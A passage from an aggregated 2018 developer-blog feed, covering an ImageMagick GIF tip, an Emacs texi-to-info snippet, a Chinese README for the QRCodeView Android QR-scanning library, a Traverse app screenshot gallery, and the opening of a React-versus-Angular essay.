    &lt;pre class="highlight"&gt;&lt;code&gt;convert &lt;span class="nt"&gt;-resize&lt;/span&gt; 33% &lt;span class="nt"&gt;-gravity&lt;/span&gt; north &lt;span class="nt"&gt;-undercolor&lt;/span&gt; &lt;span class="s1"&gt;'#ffffff80'&lt;/span&gt; &lt;span class="nt"&gt;-pointsize&lt;/span&gt; 16 &lt;span class="nt"&gt;-annotate&lt;/span&gt; 0 &lt;span class="s2"&gt;"%f"&lt;/span&gt; diamonds_&lt;span class="k"&gt;*&lt;/span&gt;.png &lt;span class="nt"&gt;-set&lt;/span&gt; delay 100 &lt;span class="nt"&gt;-loop&lt;/span&gt; 0 diamonds_flicker.gif
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This does a few things:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;resizes the image to 1/3 the original size&lt;/li&gt;
  &lt;li&gt;adds the filename to the top of the image, with a slightly transparent white background&lt;/li&gt;
  &lt;li&gt;sets a delay of 100 milliseconds between frames&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here’s the end result:&lt;/p&gt;
&lt;p&gt;&lt;img alt="A comparison of the two figure drawing methods" src="/uploads/2018/diamonds_flicker.gif" /&gt;&lt;/p&gt;
&lt;p&gt;There’s a lot of cool stuff that ImageMagick can do (basically every kind of image manipulation imaginable), so &lt;a href="https://www.imagemagick.org/Usage/"&gt;check out the manual&lt;/a&gt; and start hacking!&lt;/p&gt;</description><author>Jonathan Chang</author><pubDate>Tue, 07 Aug 2018 21:52:00 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/animating-and-labeling-figures-with-imagemagick/</guid></item><item><title>Tip: Convert .texi to .info</title><link>https://xenodium.com/tip-convert-texi-to-info</link><description>&lt;p&gt;Convert with:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;makeinfo doc.texi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;View with:&lt;/p&gt;
&lt;p&gt;Open in Emacs and render as info with:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(defun ar/format-info-mode ()
  (interactive)
  (let ((file-name (buffer-file-name)))
    (kill-buffer (current-buffer))
    (info file-name)))
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 07 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/tip-convert-texi-to-info</guid></item><item><title>【QRCodeView】更专注的二维码扫描控件</title><link>https://0xzhangke.github.io/computer/2018/08/06/QRCodeView.html</link><description>&lt;h2 id="qrcodeview"&gt;QRCodeView&lt;/h2&gt;
&lt;p&gt;基于 com.google.zxing 开发，用于简化 Android 设备扫描、生成二维码等操作。&lt;/p&gt;

&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/0xZhangKe/QRCodeView"&gt;QRCodeView&lt;/a&gt; 基于 Google  的 &lt;a href="https://github.com/zxing/zxing"&gt;zxing&lt;/a&gt; 进行二次开发，简化二维码的相关操作、优化识别速度。由于整个 zxing 框架中不仅包含了二维码识别相关的代码，还包括其他格式如条形码等等的代码，体量较大，实际开发中一般只需要使用二维码，故本项目中删除了不必要的代码。本项目不仅提供了使用摄像头预览实时识别二维码，还有如生成一张二维码图片，生成一张带有 logo 的二维码图片等等。
&lt;strong&gt;注意：此项目只支持二维码，不支持其他格式的条码！&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="效果图"&gt;效果图&lt;/h2&gt;
&lt;p&gt;&lt;img align="center" alt="预览图" height="600" src="http://img.blog.csdn.net/20180102153219279?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvdTAxMzg3Mjg1Nw==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/SouthEast" width="400" /&gt;&lt;/p&gt;

&lt;h2 id="集成方式"&gt;集成方式&lt;/h2&gt;
&lt;p&gt;在 app/build.gradle 中添加依赖：&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;implementation 'com.github.0xZhangKe:QRCodeView:1.3'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;如果依赖失败还要在根目录的 builde.gradle 中添加仓库：&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;maven { url = 'https://jitpack.io' }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id="使用方式"&gt;使用方式&lt;/h2&gt;
&lt;p&gt;使用起来很简单，先看一下布局文件：&lt;/p&gt;
&lt;div class="language-xml highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;com.zhangke.qrcodeview.QRCodeView&lt;/span&gt;
    &lt;span class="na"&gt;android:id=&lt;/span&gt;&lt;span class="s"&gt;"@+id/qr_code_view"&lt;/span&gt;
    &lt;span class="na"&gt;android:layout_width=&lt;/span&gt;&lt;span class="s"&gt;"match_parent"&lt;/span&gt;
    &lt;span class="na"&gt;android:layout_height=&lt;/span&gt;&lt;span class="s"&gt;"match_parent"&lt;/span&gt;
    &lt;span class="na"&gt;app:showSlider=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;
    &lt;span class="na"&gt;app:sliderColor=&lt;/span&gt;&lt;span class="s"&gt;"@android:color/holo_green_dark"&lt;/span&gt;
    &lt;span class="na"&gt;app:showPoint=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;
    &lt;span class="na"&gt;app:pointColor=&lt;/span&gt;&lt;span class="s"&gt;"@color/colorAccent"&lt;/span&gt;
    &lt;span class="na"&gt;app:frameColor=&lt;/span&gt;&lt;span class="s"&gt;"@android:color/white"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;再看下 java 代码：&lt;/p&gt;
&lt;div class="language-java highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.zhangke.qrcodeview.sample&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;android.support.v7.app.AppCompatActivity&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;android.os.Bundle&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;android.widget.Toast&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;com.google.zxing.Result&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;com.zhangke.qrcodeview.QRCodeView&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;com.zhangke.qrcodeview.smaple.R&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MainActivity&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;AppCompatActivity&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="no"&gt;TAG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"MainActivity"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="nc"&gt;QRCodeView&lt;/span&gt; &lt;span class="n"&gt;qrCodeView&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="nd"&gt;@Override&lt;/span&gt;
    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onCreate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Bundle&lt;/span&gt; &lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onCreate&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;setContentView&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;R&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;layout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;activity_main&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;qrCodeView&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;QRCodeView&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;findViewById&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;R&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;qr_code_view&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;qrCodeView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setOnQRCodeListener&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;QRCodeView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;OnQRCodeRecognitionListener&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nd"&gt;@Override&lt;/span&gt;
            &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onQRCodeRecognition&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Result&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="nc"&gt;Toast&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;makeText&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;MainActivity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;this&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getText&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="nc"&gt;Toast&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LENGTH_SHORT&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;show&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;});&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="nd"&gt;@Override&lt;/span&gt;
    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onResume&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onResume&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;qrCodeView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startPreview&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="nd"&gt;@Override&lt;/span&gt;
    &lt;span class="kd"&gt;protected&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;onPause&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;qrCodeView&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;stopPreview&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onPause&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;是不是很简单？就是根据声明周期初始化一下，设置个回调就 OK 了，对了别忘记添加权限：&lt;/p&gt;

&lt;div class="language-xml highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;    &lt;span class="nt"&gt;&amp;lt;uses-permission&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.permission.CAMERA"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;uses-feature&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.hardware.camera"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;uses-feature&lt;/span&gt; &lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.hardware.camera.autofocus"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id="将-qrcodeview-添加到自己的项目中"&gt;将 QRCodeView 添加到自己的项目中&lt;/h2&gt;
&lt;p&gt;首先打开 QRCodeView 项目：
https://github.com/0xZhangKe/QRCodeView&lt;/p&gt;

&lt;p&gt;其中有两个 model：lib 和 sample ，sample 是使用的案例，不会使用的可以参照其中的代码。lib 即核心代码，可以将整个项目 clone 到本地，然后将 lib 添加到自己的项目中，然后设置好依赖就行了。
或者也可以直接将 lib 下面的代码复制到你自己的项目中。&lt;/p&gt;
&lt;h2 id="类文档"&gt;类文档&lt;/h2&gt;

&lt;h3 id="qrcodeviewview"&gt;QRCodeViewView&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;包名：&lt;/strong&gt;&lt;/p&gt;

&lt;div class="language-java highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;zhangke&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;qrcodeview&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;描述：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;二维码预览 View。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;XML attributes：&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;参数名&lt;/th&gt;
      &lt;th&gt;介绍&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;app:facing&lt;/td&gt;
      &lt;td&gt;前置或后置摄像头&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;app:showFrame&lt;/td&gt;
      &lt;td&gt;是否显示边框，默认显示&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;app:frameColor&lt;/td&gt;
      &lt;td&gt;边框颜色，默认为白色&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;app:showPoint&lt;/td&gt;
      &lt;td&gt;是否绘制二维码可能出现区域的点，默认不显示&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;app:pointColor&lt;/td&gt;
      &lt;td&gt;点的颜色，默认为红色&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;app:showSlider&lt;/td&gt;
      &lt;td&gt;是否开启扫描动画，默认显示&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;app:sliderColor&lt;/td&gt;
      &lt;td&gt;扫描条的颜色，默认绿色&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Public constructors&lt;/strong&gt;&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;public QRCodeView(Context context)
public QRCodeView(Context context, AttributeSet attrs)
public QRCodeView(Context context, AttributeSet attrs, int defStyleAttr)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Public methods&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;name&lt;/th&gt;
      &lt;th&gt;describe&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;void startPreview()&lt;/td&gt;
      &lt;td&gt;开始预览，一般在 onResume() 中调用&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;void stopPreview()&lt;/td&gt;
      &lt;td&gt;停止预览，一般在 onPause() 中调用&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;boolean isPreview()&lt;/td&gt;
      &lt;td&gt;当前是否正在预览&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Camera getCamera()&lt;/td&gt;
      &lt;td&gt;获取 Camera 对象&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;void setOnQRCodeListener(OnQRCodeRecognitionListener onQRCodeListener)&lt;/td&gt;
      &lt;td&gt;设置二维码识别监听器&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id="onqrcoderecognitionlistener"&gt;OnQRCodeRecognitionListener&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;包名：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;com.zhangke.qrcodeview.QRCodeViewView
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;描述：&lt;/strong&gt;
二维码识别监听器&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;name&lt;/th&gt;
      &lt;th&gt;describe&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;void onQRCodeRecognition(Result result)&lt;/td&gt;
      &lt;td&gt;识别到二维码时会回调此方法&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id="qrcodeutil"&gt;QRCodeUtil&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;包名：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;com.zhangke.qrcodeview
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;描述：&lt;/strong&gt;
二维码相关工具类。&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;name&lt;/th&gt;
      &lt;th&gt;describe&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;static Bitmap createQRCode(String text) throws WriterException&lt;/td&gt;
      &lt;td&gt;根据文本创建二维码图片&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;static Bitmap createQRCode(String text, Bitmap logo)&lt;/td&gt;
      &lt;td&gt;根据文本及 logo 创建一个带有 logo 的二维码图片&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;static String decodeQRCode(Bitmap bitmap)&lt;/td&gt;
      &lt;td&gt;识别一张二维码图片，返回其中的文本&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;</description><author>张可的博客</author><pubDate>Mon, 06 Aug 2018 18:15:03 GMT</pubDate><guid isPermaLink="true">https://0xzhangke.github.io/computer/2018/08/06/QRCodeView.html</guid></item><item><title>Traverse: app &amp;amp; website (closed source version)</title><link>https://jasonraimondi.com/things/traverse/</link><description>&lt;p&gt;&lt;img alt="Traverse Spaceman Logo" src="./imgs/pointing_0.5x.png" /&gt;&lt;/p&gt;
&lt;p&gt;Traverse is a GitHub Explorer App I built using Electron + React, and a whole bunch of other open source tools.&lt;/p&gt;
&lt;p&gt;The app was written in TypeScript.&lt;/p&gt;
&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Main page of Traverse, searching for monthly trending JavaScript repositories" class="pops" src="./imgs/traverse_app_no-shadow_02.png" title="Main page of Traverse, searching for monthly trending JavaScript repositories" /&gt;
    &lt;small class="image-pop-title"&gt;Main page of Traverse, searching for monthly trending JavaScript repositories&lt;/small&gt;
&lt;/div&gt;

&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Main page of Traverse, searching for monthly trending Erlang repositories" class="pops" src="./imgs/traverse_app_no-shadow_05.png" title="Main page of Traverse, searching for monthly trending Erlang repositories" /&gt;
    &lt;small class="image-pop-title"&gt;Main page of Traverse, searching for monthly trending Erlang repositories&lt;/small&gt;
&lt;/div&gt;

&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Starred repository explorer page" class="pops" src="./imgs/traverse_app_no-shadow_03.png" title="Starred repository explorer page" /&gt;
    &lt;small class="image-pop-title"&gt;Starred repository explorer page&lt;/small&gt;
&lt;/div&gt;

&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Settings page" class="pops" src="./imgs/traverse_app_no-shadow_04.png" title="Settings page" /&gt;
    &lt;small class="image-pop-title"&gt;Settings page&lt;/small&gt;
&lt;/div&gt;

&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Language list view" class="pops" src="./imgs/traverse_app_no-shadow_07.png" title="Language list view" /&gt;
    &lt;small class="image-pop-title"&gt;Language list view&lt;/small&gt;
&lt;/div&gt;

&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Traverse about, version 0.9.2" class="pops" src="./imgs/traverse_app_no-shadow_06.png" title="Traverse about, version 0.9.2" /&gt;
    &lt;small class="image-pop-title"&gt;Traverse about, version 0.9.2&lt;/small&gt;
&lt;/div&gt;

&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Traverse website main page" class="pops" src="./imgs/traverse_website_no-shadow_02.png" title="Traverse website main page" /&gt;
    &lt;small class="image-pop-title"&gt;Traverse website main page&lt;/small&gt;
&lt;/div&gt;

&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Traverse website download page" class="pops" src="./imgs/traverse_website_no-shadow_03.png" title="Traverse website download page" /&gt;
    &lt;small class="image-pop-title"&gt;Traverse website download page&lt;/small&gt;
&lt;/div&gt;

&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Traverse website purchase traverse page" class="pops" src="./imgs/traverse_website_no-shadow_04.png" title="Traverse website purchase traverse page" /&gt;
    &lt;small class="image-pop-title"&gt;Traverse website purchase traverse page&lt;/small&gt;
&lt;/div&gt;

&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Traverse website purchase traverse page with NANO instructions" class="pops" src="./imgs/traverse_website_no-shadow_05.png" title="Traverse website purchase traverse page with NANO instructions" /&gt;
    &lt;small class="image-pop-title"&gt;Traverse website purchase traverse page with NANO instructions&lt;/small&gt;
&lt;/div&gt;

&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Traverse website support page" class="pops" src="./imgs/traverse_website_no-shadow_06.png" title="Traverse website support page" /&gt;
    &lt;small class="image-pop-title"&gt;Traverse website support page&lt;/small&gt;
&lt;/div&gt;

&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Traverse website release notes" class="pops" src="./imgs/traverse_website_no-shadow_08.png" title="Traverse website release notes" /&gt;
    &lt;small class="image-pop-title"&gt;Traverse website release notes&lt;/small&gt;
&lt;/div&gt;

&lt;div class="image-pop-container portrait"&gt;
    &lt;img alt="Traverse website open source tools" class="pops" src="./imgs/traverse_website_no-shadow_07.png" title="Traverse website open source tools" /&gt;
    &lt;small class="image-pop-title"&gt;Traverse website open source tools&lt;/small&gt;
&lt;/div&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Mon, 06 Aug 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/things/traverse/</guid></item><item><title>Why React?</title><link>/post/why-react/</link><description>&lt;p&gt;The project team wants to move away from AngularJS (v1) for all new modules. What do we choose instead?&lt;/p&gt;
&lt;p&gt;&lt;a href="https://angular.io/"&gt;Angular 2+&lt;/a&gt; (now at version 6) is the obvious first option.&lt;/p&gt;
&lt;p&gt;This article is an attempt to explain why I prefer &lt;a href="https://reactjs.org/"&gt;React&lt;/a&gt; instead.&lt;/p&gt;
&lt;p&gt;Busy readers may want to jump straight to the &lt;a href="/post/why-react/#summary"&gt;summary&lt;/a&gt; at the end.&lt;/p&gt;
&lt;h2 id="react-principles"&gt;React Principles&lt;/h2&gt;
&lt;p&gt;React is based on solid &lt;a href="https://reactjs.org/docs/design-principles.html"&gt;design principles&lt;/a&gt;, most of which I value.&lt;/p&gt;
&lt;p&gt;Here I summarize the ones I find most relevant in our evaluation and comparison with Angular.&lt;/p&gt;
&lt;h3 id="composition"&gt;Composition&lt;/h3&gt;
&lt;p&gt;It's easy to &lt;em&gt;reuse&lt;/em&gt; components in Angular. However, it's hard to &lt;em&gt;compose&lt;/em&gt; them.&lt;/p&gt;
&lt;p&gt;This proved to be a weakness of Angular in our experience. I think this is mainly due to components not being &lt;em&gt;first-class&lt;/em&gt;, templates not being data, pervasive mutability (2-way bindings), and broad features you are forced to buy into (DI, custom namespaces).&lt;/p&gt;
&lt;p&gt;Two concrete examples from our last Angular project:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We built a non-trivial solution to deal with field-level permissions declaratively. We run into more than a few problems mostly fighting against Angular internals, other &lt;em&gt;directives&lt;/em&gt;, race conditions, performace, and breakages after version changes. I haven't yet proved it, but I'm pretty confident it can be done in React with just function compositions.&lt;/li&gt;
&lt;li&gt;Lack of &amp;quot;higher order components&amp;quot;. That is: passing components as arguments and making components/directives modify other components. Angular's &lt;em&gt;transclude&lt;/em&gt; feature is a limited and complex kludge compared to, again, simple function composition.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In contrast, React components are simple to compose: they are &amp;quot;first-class&amp;quot; and can be passed around (aka Higher-Order Components).&lt;/p&gt;
 &lt;!-- React's one-way data flow makes rendering predictable, and components (being basically just "functions") .  --&gt;
&lt;p&gt;Here are some public extreme examples of what's possible on React thanks its more composable nature:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://facebook.github.io/relay/"&gt;Relay&lt;/a&gt;: A declarative way of doing data-fetching and state management (using GraphQL).&lt;/li&gt;
